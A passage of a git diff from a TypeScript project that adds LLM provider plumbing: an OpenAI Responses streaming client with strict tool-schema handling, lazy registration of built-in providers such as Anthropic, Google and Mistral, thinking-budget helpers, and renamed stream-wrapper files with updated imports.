"../../agents/openai-tool-schema.js"; +import { createSubsystemLogger } from "../../logging/subsystem.js"; +import type { Model, Tool } from "../types.js"; + +export interface ConvertResponsesToolsOptions { + strict?: boolean | null; + model?: Model; + supportsStrictMode?: boolean; +} + +type OpenAIToolSchemaCompat = Parameters[2]; +type ResponsesFunctionTool = { + type: "function"; + name: string; + description?: string; + parameters: Record; + strict?: boolean | null; +}; + +const log = createSubsystemLogger("llm/openai-responses"); +const MAX_STRICT_TOOL_DOWNGRADE_DIAGNOSTIC_KEYS = 64; +const loggedStrictToolDowngradeDiagnosticKeys = new Set(); + +export function convertResponsesTools( + tools: Tool[], + options?: ConvertResponsesToolsOptions, +): OpenAITool[] { + const strictSetting = resolveResponsesStrictToolSetting(options); + const strict = resolveResponsesStrictToolFlag(tools, strictSetting, options?.model); + return sortResponsesToolsByName(tools).map((tool) => { + const result: ResponsesFunctionTool = { + type: "function", + name: tool.name, + description: tool.description, + parameters: normalizeOpenAIStrictToolParameters( + tool.parameters, + strict === true, + options?.model?.compat as OpenAIToolSchemaCompat, + ) as Record, + }; + if (strict !== undefined) { + result.strict = strict; + } + return result as OpenAITool; + }); +} + +function resolveResponsesStrictToolSetting( + options: ConvertResponsesToolsOptions | undefined, +): boolean | null | undefined { + if (options?.strict !== undefined) { + return options.strict; + } + if (options?.model) { + return resolveOpenAIStrictToolSetting(options.model, { + transport: "stream", + supportsStrictMode: options.supportsStrictMode, + }); + } + return false; +} + +function resolveResponsesStrictToolFlag( + tools: Tool[], + strictSetting: boolean | null | undefined, + model: Model | undefined, +): boolean | undefined { + const strict = resolveOpenAIStrictToolFlagForInventory(tools, strictSetting); + if (strictSetting === true && strict === false && model && log.isEnabled("debug", "any")) { + const diagnostics = findOpenAIStrictToolSchemaDiagnostics(tools); + if (shouldLogStrictToolDowngradeDiagnostic(diagnostics, model)) { + const sample = diagnostics.slice(0, 5).map((entry) => ({ + tool: entry.toolName ?? `tool[${entry.toolIndex}]`, + violations: entry.violations.slice(0, 8), + })); + log.debug( + `OpenAI responses tool schema strict mode downgraded to strict=false for ` + + `${model.provider ?? "unknown"}/${model.id ?? "unknown"} because ` + + `${diagnostics.length} tool schema(s) are not strict-compatible`, + { + provider: model.provider, + model: model.id, + incompatibleToolCount: diagnostics.length, + sample, + }, + ); + } + } + return strict; +} + +function shouldLogStrictToolDowngradeDiagnostic( + diagnostics: ReturnType, + model: Model, +): boolean { + const key = createHash("sha256") + .update( + JSON.stringify({ + provider: model.provider, + model: model.id, + diagnostics: diagnostics.map((entry) => ({ + toolIndex: entry.toolIndex, + toolName: entry.toolName ?? null, + violations: entry.violations, + })), + }), + ) + .digest("hex"); + if (loggedStrictToolDowngradeDiagnosticKeys.has(key)) { + return false; + } + if (loggedStrictToolDowngradeDiagnosticKeys.size >= MAX_STRICT_TOOL_DOWNGRADE_DIAGNOSTIC_KEYS) { + loggedStrictToolDowngradeDiagnosticKeys.clear(); + } + loggedStrictToolDowngradeDiagnosticKeys.add(key); + return true; +} + +function compareToolText(left: string | undefined, right: string | undefined): number { + const leftText = left ?? ""; + const rightText = right ?? ""; + if (leftText < rightText) { + return -1; + } + if (leftText > rightText) { + return 1; + } + return 0; +} + +function sortResponsesToolsByName( + tools: readonly T[], +): T[] { + return tools.toSorted( + (left, right) => + compareToolText(left.name, right.name) || + compareToolText(left.description, right.description), + ); +} diff --git a/src/llm/providers/openai-responses.ts b/src/llm/providers/openai-responses.ts new file mode 100644 index 00000000000..3ddf2eabf54 --- /dev/null +++ b/src/llm/providers/openai-responses.ts @@ -0,0 +1,328 @@ +import OpenAI from "openai"; +import type { ResponseCreateParamsStreaming } from "openai/resources/responses/responses.js"; +import { getEnvApiKey } from "../env-api-keys.js"; +import { clampThinkingLevel } from "../model-utils.js"; +import type { + Api, + AssistantMessage, + CacheRetention, + Context, + Model, + OpenAIResponsesCompat, + SimpleStreamOptions, + StreamFunction, + StreamOptions, + Usage, +} from "../types.js"; +import { AssistantMessageEventStream } from "../utils/event-stream.js"; +import { headersToRecord } from "../utils/headers.js"; +import { isCloudflareProvider, resolveCloudflareBaseUrl } from "./cloudflare.js"; +import { buildCopilotDynamicHeaders, hasCopilotVisionInput } from "./github-copilot-headers.js"; +import { clampOpenAIPromptCacheKey } from "./openai-prompt-cache.js"; +import { + convertResponsesMessages, + convertResponsesTools, + processResponsesStream, +} from "./openai-responses-shared.js"; +import { buildBaseOptions } from "./simple-options.js"; + +const OPENAI_TOOL_CALL_PROVIDERS = new Set(["openai", "openai-codex", "opencode"]); + +/** + * Resolve cache retention preference. + * Defaults to "short" and uses OPENCLAW_CACHE_RETENTION for backward compatibility. + */ +function resolveCacheRetention(cacheRetention?: CacheRetention): CacheRetention { + if (cacheRetention) { + return cacheRetention; + } + if (typeof process !== "undefined" && process.env.OPENCLAW_CACHE_RETENTION === "long") { + return "long"; + } + return "short"; +} + +function getCompat(model: Model<"openai-responses">): Required { + return { + sendSessionIdHeader: model.compat?.sendSessionIdHeader ?? true, + supportsLongCacheRetention: model.compat?.supportsLongCacheRetention ?? true, + }; +} + +function getPromptCacheRetention( + compat: Required, + cacheRetention: CacheRetention, +): "24h" | undefined { + return cacheRetention === "long" && compat.supportsLongCacheRetention ? "24h" : undefined; +} + +function formatOpenAIResponsesError(error: unknown): string { + if (error instanceof Error) { + const status = (error as Error & { status?: unknown }).status; + const statusCode = typeof status === "number" ? status : undefined; + if (statusCode !== undefined) { + return `OpenAI API error (${statusCode}): ${error.message}`; + } + return error.message; + } + try { + return JSON.stringify(error); + } catch { + return String(error); + } +} + +// OpenAI Responses-specific options +export interface OpenAIResponsesOptions extends StreamOptions { + reasoningEffort?: "minimal" | "low" | "medium" | "high" | "xhigh"; + reasoningSummary?: "auto" | "detailed" | "concise" | null; + serviceTier?: ResponseCreateParamsStreaming["service_tier"]; +} + +/** + * Generate function for OpenAI Responses API + */ +export const streamOpenAIResponses: StreamFunction<"openai-responses", OpenAIResponsesOptions> = ( + model: Model<"openai-responses">, + context: Context, + options?: OpenAIResponsesOptions, +) => { + const stream = new AssistantMessageEventStream(); + + // Start async processing + void (async () => { + const output: AssistantMessage = { + role: "assistant", + content: [], + api: model.api as Api, + provider: model.provider, + model: model.id, + usage: { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 0, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, + }, + stopReason: "stop", + timestamp: Date.now(), + }; + + try { + // Create OpenAI client + const apiKey = options?.apiKey || getEnvApiKey(model.provider) || ""; + const cacheRetention = resolveCacheRetention(options?.cacheRetention); + const cacheSessionId = cacheRetention === "none" ? undefined : options?.sessionId; + const client = createClient(model, context, apiKey, options?.headers, cacheSessionId); + let params = buildParams(model, context, options); + const nextParams = await options?.onPayload?.(params, model); + if (nextParams !== undefined) { + params = nextParams as ResponseCreateParamsStreaming; + } + const requestOptions = { + ...(options?.signal ? { signal: options.signal } : {}), + ...(options?.timeoutMs !== undefined ? { timeout: options.timeoutMs } : {}), + ...(options?.maxRetries !== undefined ? { maxRetries: options.maxRetries } : {}), + }; + const { data: openaiStream, response } = await client.responses + .create(params, requestOptions) + .withResponse(); + await options?.onResponse?.( + { status: response.status, headers: headersToRecord(response.headers) }, + model, + ); + stream.push({ type: "start", partial: output }); + + await processResponsesStream(openaiStream, output, stream, model, { + serviceTier: options?.serviceTier, + applyServiceTierPricing: (usage, serviceTier) => + applyServiceTierPricing(usage, serviceTier, model), + }); + + if (options?.signal?.aborted) { + throw new Error("Request was aborted"); + } + + if (output.stopReason === "aborted" || output.stopReason === "error") { + throw new Error("An unknown error occurred"); + } + + stream.push({ type: "done", reason: output.stopReason, message: output }); + stream.end(); + } catch (error) { + for (const block of output.content) { + delete (block as { index?: number }).index; + // partialJson is only a streaming scratch buffer; never persist it. + delete (block as { partialJson?: string }).partialJson; + } + output.stopReason = options?.signal?.aborted ? "aborted" : "error"; + output.errorMessage = formatOpenAIResponsesError(error); + stream.push({ type: "error", reason: output.stopReason, error: output }); + stream.end(); + } + })(); + + return stream; +}; + +export const streamSimpleOpenAIResponses: StreamFunction< + "openai-responses", + SimpleStreamOptions +> = (model: Model<"openai-responses">, context: Context, options?: SimpleStreamOptions) => { + const apiKey = options?.apiKey || getEnvApiKey(model.provider); + if (!apiKey) { + throw new Error(`No API key for provider: ${model.provider}`); + } + + const base = buildBaseOptions(model, options, apiKey); + const clampedReasoning = options?.reasoning + ? clampThinkingLevel(model, options.reasoning) + : undefined; + const reasoningEffort = clampedReasoning === "off" ? undefined : clampedReasoning; + + return streamOpenAIResponses(model, context, { + ...base, + reasoningEffort, + } satisfies OpenAIResponsesOptions); +}; + +function createClient( + model: Model<"openai-responses">, + context: Context, + apiKey?: string, + optionsHeaders?: Record, + sessionId?: string, +) { + if (!apiKey) { + throw new Error(`No API key for provider: ${model.provider}`); + } + + const compat = getCompat(model); + const headers = { ...model.headers }; + if (model.provider === "github-copilot") { + const hasImages = hasCopilotVisionInput(context.messages); + const copilotHeaders = buildCopilotDynamicHeaders({ + messages: context.messages, + hasImages, + }); + Object.assign(headers, copilotHeaders); + } + + if (sessionId) { + if (compat.sendSessionIdHeader) { + headers.session_id = sessionId; + } + headers["x-client-request-id"] = sessionId; + } + + // Merge options headers last so they can override defaults + if (optionsHeaders) { + Object.assign(headers, optionsHeaders); + } + + const defaultHeaders = + model.provider === "cloudflare-ai-gateway" + ? { + ...headers, + Authorization: headers.Authorization ?? null, + "cf-aig-authorization": `Bearer ${apiKey}`, + } + : headers; + + return new OpenAI({ + apiKey, + baseURL: isCloudflareProvider(model.provider) ? resolveCloudflareBaseUrl(model) : model.baseUrl, + dangerouslyAllowBrowser: true, + defaultHeaders, + }); +} + +function buildParams( + model: Model<"openai-responses">, + context: Context, + options?: OpenAIResponsesOptions, +) { + const messages = convertResponsesMessages(model, context, OPENAI_TOOL_CALL_PROVIDERS); + + const cacheRetention = resolveCacheRetention(options?.cacheRetention); + const compat = getCompat(model); + const params: ResponseCreateParamsStreaming = { + model: model.id, + input: messages, + stream: true, + prompt_cache_key: + cacheRetention === "none" ? undefined : clampOpenAIPromptCacheKey(options?.sessionId), + prompt_cache_retention: getPromptCacheRetention(compat, cacheRetention), + store: false, + }; + + if (options?.maxTokens) { + params.max_output_tokens = options?.maxTokens; + } + + if (options?.temperature !== undefined) { + params.temperature = options?.temperature; + } + + if (options?.serviceTier !== undefined) { + params.service_tier = options.serviceTier; + } + + if (context.tools && context.tools.length > 0) { + params.tools = convertResponsesTools(context.tools, { model }); + } + + if (model.reasoning) { + if (options?.reasoningEffort || options?.reasoningSummary) { + const effort = options?.reasoningEffort + ? (model.thinkingLevelMap?.[options.reasoningEffort] ?? options.reasoningEffort) + : "medium"; + params.reasoning = { + effort: effort as NonNullable["effort"], + summary: options?.reasoningSummary || "auto", + }; + params.include = ["reasoning.encrypted_content"]; + } else if (model.provider !== "github-copilot" && model.thinkingLevelMap?.off !== null) { + params.reasoning = { + effort: (model.thinkingLevelMap?.off ?? "none") as NonNullable< + typeof params.reasoning + >["effort"], + }; + } + } + + return params; +} + +function getServiceTierCostMultiplier( + model: Pick, "id">, + serviceTier: ResponseCreateParamsStreaming["service_tier"] | undefined, +): number { + switch (serviceTier) { + case "flex": + return 0.5; + case "priority": + return model.id === "gpt-5.5" ? 2.5 : 2; + default: + return 1; + } +} + +function applyServiceTierPricing( + usage: Usage, + serviceTier: ResponseCreateParamsStreaming["service_tier"] | undefined, + model: Pick, "id">, +) { + const multiplier = getServiceTierCostMultiplier(model, serviceTier); + if (multiplier === 1) { + return; + } + + usage.cost.input *= multiplier; + usage.cost.output *= multiplier; + usage.cost.cacheRead *= multiplier; + usage.cost.cacheWrite *= multiplier; + usage.cost.total = + usage.cost.input + usage.cost.output + usage.cost.cacheRead + usage.cost.cacheWrite; +} diff --git a/src/llm/providers/register-builtins.ts b/src/llm/providers/register-builtins.ts new file mode 100644 index 00000000000..b90557c18c1 --- /dev/null +++ b/src/llm/providers/register-builtins.ts @@ -0,0 +1,408 @@ +import { registerApiProvider, unregisterApiProviders } from "../api-registry.js"; +import type { + Api, + AssistantMessage, + AssistantMessageEvent, + Context, + Model, + SimpleStreamOptions, + StreamFunction, + StreamOptions, +} from "../types.js"; +import { AssistantMessageEventStream } from "../utils/event-stream.js"; +import type { AnthropicOptions } from "./anthropic.js"; +import type { AzureOpenAIResponsesOptions } from "./azure-openai-responses.js"; +import type { GoogleVertexOptions } from "./google-vertex.js"; +import type { GoogleOptions } from "./google.js"; +import type { MistralOptions } from "./mistral.js"; +import type { OpenAICodexResponsesOptions } from "./openai-codex-responses.js"; +import type { OpenAICompletionsOptions } from "./openai-completions.js"; +import type { OpenAIResponsesOptions } from "./openai-responses.js"; + +interface LazyProviderModule< + TApi extends Api, + TOptions extends StreamOptions, + TSimpleOptions extends SimpleStreamOptions, +> { + stream: ( + model: Model, + context: Context, + options?: TOptions, + ) => AsyncIterable; + streamSimple: ( + model: Model, + context: Context, + options?: TSimpleOptions, + ) => AsyncIterable; +} + +interface AnthropicProviderModule { + streamAnthropic: StreamFunction<"anthropic-messages", AnthropicOptions>; + streamSimpleAnthropic: StreamFunction<"anthropic-messages", SimpleStreamOptions>; +} + +interface AzureOpenAIResponsesProviderModule { + streamAzureOpenAIResponses: StreamFunction<"azure-openai-responses", AzureOpenAIResponsesOptions>; + streamSimpleAzureOpenAIResponses: StreamFunction<"azure-openai-responses", SimpleStreamOptions>; +} + +interface GoogleProviderModule { + streamGoogle: StreamFunction<"google-generative-ai", GoogleOptions>; + streamSimpleGoogle: StreamFunction<"google-generative-ai", SimpleStreamOptions>; +} + +interface GoogleVertexProviderModule { + streamGoogleVertex: StreamFunction<"google-vertex", GoogleVertexOptions>; + streamSimpleGoogleVertex: StreamFunction<"google-vertex", SimpleStreamOptions>; +} + +interface MistralProviderModule { + streamMistral: StreamFunction<"mistral-conversations", MistralOptions>; + streamSimpleMistral: StreamFunction<"mistral-conversations", SimpleStreamOptions>; +} + +interface OpenAICodexResponsesProviderModule { + streamOpenAICodexResponses: StreamFunction<"openai-codex-responses", OpenAICodexResponsesOptions>; + streamSimpleOpenAICodexResponses: StreamFunction<"openai-codex-responses", SimpleStreamOptions>; +} + +interface OpenAICompletionsProviderModule { + streamOpenAICompletions: StreamFunction<"openai-completions", OpenAICompletionsOptions>; + streamSimpleOpenAICompletions: StreamFunction<"openai-completions", SimpleStreamOptions>; +} + +interface OpenAIResponsesProviderModule { + streamOpenAIResponses: StreamFunction<"openai-responses", OpenAIResponsesOptions>; + streamSimpleOpenAIResponses: StreamFunction<"openai-responses", SimpleStreamOptions>; +} + +export const BUILT_IN_API_PROVIDER_SOURCE_ID = "core:built-in"; + +let anthropicProviderModulePromise: + | Promise> + | undefined; +let azureOpenAIResponsesProviderModulePromise: + | Promise< + LazyProviderModule<"azure-openai-responses", AzureOpenAIResponsesOptions, SimpleStreamOptions> + > + | undefined; +let googleProviderModulePromise: + | Promise> + | undefined; +let googleVertexProviderModulePromise: + | Promise> + | undefined; +let mistralProviderModulePromise: + | Promise> + | undefined; +let openAICodexResponsesProviderModulePromise: + | Promise< + LazyProviderModule<"openai-codex-responses", OpenAICodexResponsesOptions, SimpleStreamOptions> + > + | undefined; +let openAICompletionsProviderModulePromise: + | Promise> + | undefined; +let openAIResponsesProviderModulePromise: + | Promise> + | undefined; + +function forwardStream( + target: AssistantMessageEventStream, + source: AsyncIterable, +): void { + void (async () => { + for await (const event of source) { + target.push(event); + } + target.end(); + })(); +} + +function createLazyLoadErrorMessage( + model: Model, + error: unknown, +): AssistantMessage { + return { + role: "assistant", + content: [], + api: model.api, + provider: model.provider, + model: model.id, + usage: { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 0, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, + }, + stopReason: "error", + errorMessage: error instanceof Error ? error.message : String(error), + timestamp: Date.now(), + }; +} + +function createLazyStream< + TApi extends Api, + TOptions extends StreamOptions, + TSimpleOptions extends SimpleStreamOptions, +>( + loadModule: () => Promise>, +): StreamFunction { + return (model, context, options) => { + const outer = new AssistantMessageEventStream(); + + loadModule() + .then((module) => { + const inner = module.stream(model, context, options); + forwardStream(outer, inner); + }) + .catch((error) => { + const message = createLazyLoadErrorMessage(model, error); + outer.push({ type: "error", reason: "error", error: message }); + outer.end(message); + }); + + return outer; + }; +} + +function createLazySimpleStream< + TApi extends Api, + TOptions extends StreamOptions, + TSimpleOptions extends SimpleStreamOptions, +>( + loadModule: () => Promise>, +): StreamFunction { + return (model, context, options) => { + const outer = new AssistantMessageEventStream(); + + loadModule() + .then((module) => { + const inner = module.streamSimple(model, context, options); + forwardStream(outer, inner); + }) + .catch((error) => { + const message = createLazyLoadErrorMessage(model, error); + outer.push({ type: "error", reason: "error", error: message }); + outer.end(message); + }); + + return outer; + }; +} + +function loadAnthropicProviderModule(): Promise< + LazyProviderModule<"anthropic-messages", AnthropicOptions, SimpleStreamOptions> +> { + anthropicProviderModulePromise ||= import("./anthropic.js").then((module) => { + const provider = module as AnthropicProviderModule; + return { + stream: provider.streamAnthropic, + streamSimple: provider.streamSimpleAnthropic, + }; + }); + return anthropicProviderModulePromise; +} + +function loadAzureOpenAIResponsesProviderModule(): Promise< + LazyProviderModule<"azure-openai-responses", AzureOpenAIResponsesOptions, SimpleStreamOptions> +> { + azureOpenAIResponsesProviderModulePromise ||= import("./azure-openai-responses.js").then( + (module) => { + const provider = module as AzureOpenAIResponsesProviderModule; + return { + stream: provider.streamAzureOpenAIResponses, + streamSimple: provider.streamSimpleAzureOpenAIResponses, + }; + }, + ); + return azureOpenAIResponsesProviderModulePromise; +} + +function loadGoogleProviderModule(): Promise< + LazyProviderModule<"google-generative-ai", GoogleOptions, SimpleStreamOptions> +> { + googleProviderModulePromise ||= import("./google.js").then((module) => { + const provider = module as GoogleProviderModule; + return { + stream: provider.streamGoogle, + streamSimple: provider.streamSimpleGoogle, + }; + }); + return googleProviderModulePromise; +} + +function loadGoogleVertexProviderModule(): Promise< + LazyProviderModule<"google-vertex", GoogleVertexOptions, SimpleStreamOptions> +> { + googleVertexProviderModulePromise ||= import("./google-vertex.js").then((module) => { + const provider = module as GoogleVertexProviderModule; + return { + stream: provider.streamGoogleVertex, + streamSimple: provider.streamSimpleGoogleVertex, + }; + }); + return googleVertexProviderModulePromise; +} + +function loadMistralProviderModule(): Promise< + LazyProviderModule<"mistral-conversations", MistralOptions, SimpleStreamOptions> +> { + mistralProviderModulePromise ||= import("./mistral.js").then((module) => { + const provider = module as MistralProviderModule; + return { + stream: provider.streamMistral, + streamSimple: provider.streamSimpleMistral, + }; + }); + return mistralProviderModulePromise; +} + +function loadOpenAICodexResponsesProviderModule(): Promise< + LazyProviderModule<"openai-codex-responses", OpenAICodexResponsesOptions, SimpleStreamOptions> +> { + openAICodexResponsesProviderModulePromise ||= import("./openai-codex-responses.js").then( + (module) => { + const provider = module as OpenAICodexResponsesProviderModule; + return { + stream: provider.streamOpenAICodexResponses, + streamSimple: provider.streamSimpleOpenAICodexResponses, + }; + }, + ); + return openAICodexResponsesProviderModulePromise; +} + +function loadOpenAICompletionsProviderModule(): Promise< + LazyProviderModule<"openai-completions", OpenAICompletionsOptions, SimpleStreamOptions> +> { + openAICompletionsProviderModulePromise ||= import("./openai-completions.js").then((module) => { + const provider = module as OpenAICompletionsProviderModule; + return { + stream: provider.streamOpenAICompletions, + streamSimple: provider.streamSimpleOpenAICompletions, + }; + }); + return openAICompletionsProviderModulePromise; +} + +function loadOpenAIResponsesProviderModule(): Promise< + LazyProviderModule<"openai-responses", OpenAIResponsesOptions, SimpleStreamOptions> +> { + openAIResponsesProviderModulePromise ||= import("./openai-responses.js").then((module) => { + const provider = module as OpenAIResponsesProviderModule; + return { + stream: provider.streamOpenAIResponses, + streamSimple: provider.streamSimpleOpenAIResponses, + }; + }); + return openAIResponsesProviderModulePromise; +} + +export const streamAnthropic = createLazyStream(loadAnthropicProviderModule); +export const streamSimpleAnthropic = createLazySimpleStream(loadAnthropicProviderModule); +export const streamAzureOpenAIResponses = createLazyStream(loadAzureOpenAIResponsesProviderModule); +export const streamSimpleAzureOpenAIResponses = createLazySimpleStream( + loadAzureOpenAIResponsesProviderModule, +); +export const streamGoogle = createLazyStream(loadGoogleProviderModule); +export const streamSimpleGoogle = createLazySimpleStream(loadGoogleProviderModule); +export const streamGoogleVertex = createLazyStream(loadGoogleVertexProviderModule); +export const streamSimpleGoogleVertex = createLazySimpleStream(loadGoogleVertexProviderModule); +export const streamMistral = createLazyStream(loadMistralProviderModule); +export const streamSimpleMistral = createLazySimpleStream(loadMistralProviderModule); +export const streamOpenAICodexResponses = createLazyStream(loadOpenAICodexResponsesProviderModule); +export const streamSimpleOpenAICodexResponses = createLazySimpleStream( + loadOpenAICodexResponsesProviderModule, +); +export const streamOpenAICompletions = createLazyStream(loadOpenAICompletionsProviderModule); +export const streamSimpleOpenAICompletions = createLazySimpleStream( + loadOpenAICompletionsProviderModule, +); +export const streamOpenAIResponses = createLazyStream(loadOpenAIResponsesProviderModule); +export const streamSimpleOpenAIResponses = createLazySimpleStream( + loadOpenAIResponsesProviderModule, +); + +export function registerBuiltInApiProviders(): void { + registerApiProvider( + { + api: "anthropic-messages", + stream: streamAnthropic, + streamSimple: streamSimpleAnthropic, + }, + BUILT_IN_API_PROVIDER_SOURCE_ID, + ); + + registerApiProvider( + { + api: "openai-completions", + stream: streamOpenAICompletions, + streamSimple: streamSimpleOpenAICompletions, + }, + BUILT_IN_API_PROVIDER_SOURCE_ID, + ); + + registerApiProvider( + { + api: "mistral-conversations", + stream: streamMistral, + streamSimple: streamSimpleMistral, + }, + BUILT_IN_API_PROVIDER_SOURCE_ID, + ); + + registerApiProvider( + { + api: "openai-responses", + stream: streamOpenAIResponses, + streamSimple: streamSimpleOpenAIResponses, + }, + BUILT_IN_API_PROVIDER_SOURCE_ID, + ); + + registerApiProvider( + { + api: "azure-openai-responses", + stream: streamAzureOpenAIResponses, + streamSimple: streamSimpleAzureOpenAIResponses, + }, + BUILT_IN_API_PROVIDER_SOURCE_ID, + ); + + registerApiProvider( + { + api: "openai-codex-responses", + stream: streamOpenAICodexResponses, + streamSimple: streamSimpleOpenAICodexResponses, + }, + BUILT_IN_API_PROVIDER_SOURCE_ID, + ); + + registerApiProvider( + { + api: "google-generative-ai", + stream: streamGoogle, + streamSimple: streamSimpleGoogle, + }, + BUILT_IN_API_PROVIDER_SOURCE_ID, + ); + + registerApiProvider( + { + api: "google-vertex", + stream: streamGoogleVertex, + streamSimple: streamSimpleGoogleVertex, + }, + BUILT_IN_API_PROVIDER_SOURCE_ID, + ); +} + +export function resetApiProviders(): void { + unregisterApiProviders(BUILT_IN_API_PROVIDER_SOURCE_ID); + registerBuiltInApiProviders(); +} + +registerBuiltInApiProviders(); diff --git a/src/llm/providers/simple-options.ts b/src/llm/providers/simple-options.ts new file mode 100644 index 00000000000..c73d3776cfe --- /dev/null +++ b/src/llm/providers/simple-options.ts @@ -0,0 +1,67 @@ +import type { + Model, + SimpleStreamOptions, + StreamOptions, + ThinkingBudgets, + ThinkingLevel, +} from "../types.js"; + +export function buildBaseOptions( + model: Model, + options?: SimpleStreamOptions, + apiKey?: string, +): StreamOptions { + void model; + return { + temperature: options?.temperature, + maxTokens: options?.maxTokens, + signal: options?.signal, + apiKey: apiKey || options?.apiKey, + transport: options?.transport, + cacheRetention: options?.cacheRetention, + sessionId: options?.sessionId, + headers: options?.headers, + onPayload: options?.onPayload, + onResponse: options?.onResponse, + timeoutMs: options?.timeoutMs, + maxRetries: options?.maxRetries, + maxRetryDelayMs: options?.maxRetryDelayMs, + metadata: options?.metadata, + }; +} + +export function clampReasoning( + effort: ThinkingLevel | undefined, +): Exclude | undefined { + return effort === "xhigh" ? "high" : effort; +} + +export function adjustMaxTokensForThinking( + // Undefined means no explicit caller cap. Use the model cap and fit thinking inside it. + baseMaxTokens: number | undefined, + modelMaxTokens: number, + reasoningLevel: ThinkingLevel, + customBudgets?: ThinkingBudgets, +): { maxTokens: number; thinkingBudget: number } { + const defaultBudgets: ThinkingBudgets = { + minimal: 1024, + low: 2048, + medium: 8192, + high: 16384, + }; + const budgets = { ...defaultBudgets, ...customBudgets }; + + const minOutputTokens = 1024; + const level = clampReasoning(reasoningLevel)!; + let thinkingBudget = budgets[level]!; + const maxTokens = + baseMaxTokens === undefined + ? modelMaxTokens + : Math.min(baseMaxTokens + thinkingBudget, modelMaxTokens); + + if (maxTokens <= thinkingBudget) { + thinkingBudget = Math.max(0, maxTokens - minOutputTokens); + } + + return { maxTokens, thinkingBudget }; +} diff --git a/src/agents/pi-embedded-runner/anthropic-cache-control-payload.test.ts b/src/llm/providers/stream-wrappers/anthropic-cache-control-payload.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/anthropic-cache-control-payload.test.ts rename to src/llm/providers/stream-wrappers/anthropic-cache-control-payload.test.ts diff --git a/src/llm/providers/stream-wrappers/anthropic-cache-control-payload.ts b/src/llm/providers/stream-wrappers/anthropic-cache-control-payload.ts new file mode 100644 index 00000000000..03cb8c6db29 --- /dev/null +++ b/src/llm/providers/stream-wrappers/anthropic-cache-control-payload.ts @@ -0,0 +1 @@ +export { applyAnthropicEphemeralCacheControlMarkers } from "../../../agents/anthropic-payload-policy.js"; diff --git a/src/agents/pi-embedded-runner/anthropic-family-cache-semantics.ts b/src/llm/providers/stream-wrappers/anthropic-family-cache-semantics.ts similarity index 98% rename from src/agents/pi-embedded-runner/anthropic-family-cache-semantics.ts rename to src/llm/providers/stream-wrappers/anthropic-family-cache-semantics.ts index b700e752d0d..33d60805a58 100644 --- a/src/agents/pi-embedded-runner/anthropic-family-cache-semantics.ts +++ b/src/llm/providers/stream-wrappers/anthropic-family-cache-semantics.ts @@ -1,7 +1,7 @@ import { normalizeLowercaseStringOrEmpty, normalizeOptionalLowercaseString, -} from "../../shared/string-coerce.js"; +} from "../../../shared/string-coerce.js"; type AnthropicCacheRetentionFamily = | "anthropic-direct" diff --git a/src/agents/pi-embedded-runner/anthropic-family-tool-payload-compat.ts b/src/llm/providers/stream-wrappers/anthropic-family-tool-payload-compat.ts similarity index 96% rename from src/agents/pi-embedded-runner/anthropic-family-tool-payload-compat.ts rename to src/llm/providers/stream-wrappers/anthropic-family-tool-payload-compat.ts index d1970061e3d..45459592c5f 100644 --- a/src/agents/pi-embedded-runner/anthropic-family-tool-payload-compat.ts +++ b/src/llm/providers/stream-wrappers/anthropic-family-tool-payload-compat.ts @@ -1,6 +1,6 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { streamSimple } from "@earendil-works/pi-ai"; -import { normalizeOptionalString } from "../../shared/string-coerce.js"; +import type { StreamFn } from "../../../agents/runtime/index.js"; +import { normalizeOptionalString } from "../../../shared/string-coerce.js"; +import { streamSimple } from "../../stream.js"; type AnthropicToolSchemaMode = "openai-functions"; type AnthropicToolChoiceMode = "openai-string-modes"; diff --git a/src/agents/pi-embedded-runner/google-stream-wrappers.test.ts b/src/llm/providers/stream-wrappers/google.test.ts similarity index 98% rename from src/agents/pi-embedded-runner/google-stream-wrappers.test.ts rename to src/llm/providers/stream-wrappers/google.test.ts index 44556ff6b8f..f60316d7516 100644 --- a/src/agents/pi-embedded-runner/google-stream-wrappers.test.ts +++ b/src/llm/providers/stream-wrappers/google.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from "vitest"; -import { sanitizeGoogleThinkingPayload } from "./google-stream-wrappers.js"; +import { sanitizeGoogleThinkingPayload } from "./google.js"; describe("sanitizeGoogleThinkingPayload — gemini-2.5-pro zero budget", () => { it("removes thinkingBudget=0 for gemini-2.5-pro", () => { diff --git a/src/agents/pi-embedded-runner/google-stream-wrappers.ts b/src/llm/providers/stream-wrappers/google.ts similarity index 58% rename from src/agents/pi-embedded-runner/google-stream-wrappers.ts rename to src/llm/providers/stream-wrappers/google.ts index 64573ccfb1c..9e42a47cef9 100644 --- a/src/agents/pi-embedded-runner/google-stream-wrappers.ts +++ b/src/llm/providers/stream-wrappers/google.ts @@ -1,4 +1,4 @@ export { createGoogleThinkingPayloadWrapper, sanitizeGoogleThinkingPayload, -} from "../../plugin-sdk/provider-stream-shared.js"; +} from "../../../plugin-sdk/provider-stream-shared.js"; diff --git a/src/agents/pi-embedded-runner/minimax-stream-wrappers.test.ts b/src/llm/providers/stream-wrappers/minimax.test.ts similarity index 86% rename from src/agents/pi-embedded-runner/minimax-stream-wrappers.test.ts rename to src/llm/providers/stream-wrappers/minimax.test.ts index 1b515f529b0..79e1f22baf7 100644 --- a/src/agents/pi-embedded-runner/minimax-stream-wrappers.test.ts +++ b/src/llm/providers/stream-wrappers/minimax.test.ts @@ -1,10 +1,7 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Context, Model } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import type { Context, Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; -import { - createMinimaxFastModeWrapper, - createMinimaxThinkingDisabledWrapper, -} from "./minimax-stream-wrappers.js"; +import { createMinimaxFastModeWrapper, createMinimaxThinkingDisabledWrapper } from "./minimax.js"; function captureThinkingPayload(params: { provider: string; @@ -12,9 +9,9 @@ function captureThinkingPayload(params: { modelId: string; }): unknown { let capturedThinking: unknown = undefined; - const baseStreamFn: StreamFn = (_model, _context, options) => { + const baseStreamFn: StreamFn = (model, context, options) => { const payload: Record = {}; - options?.onPayload?.(payload, _model); + options?.onPayload?.(payload, model); capturedThinking = payload.thinking; return {} as ReturnType; }; @@ -76,11 +73,11 @@ 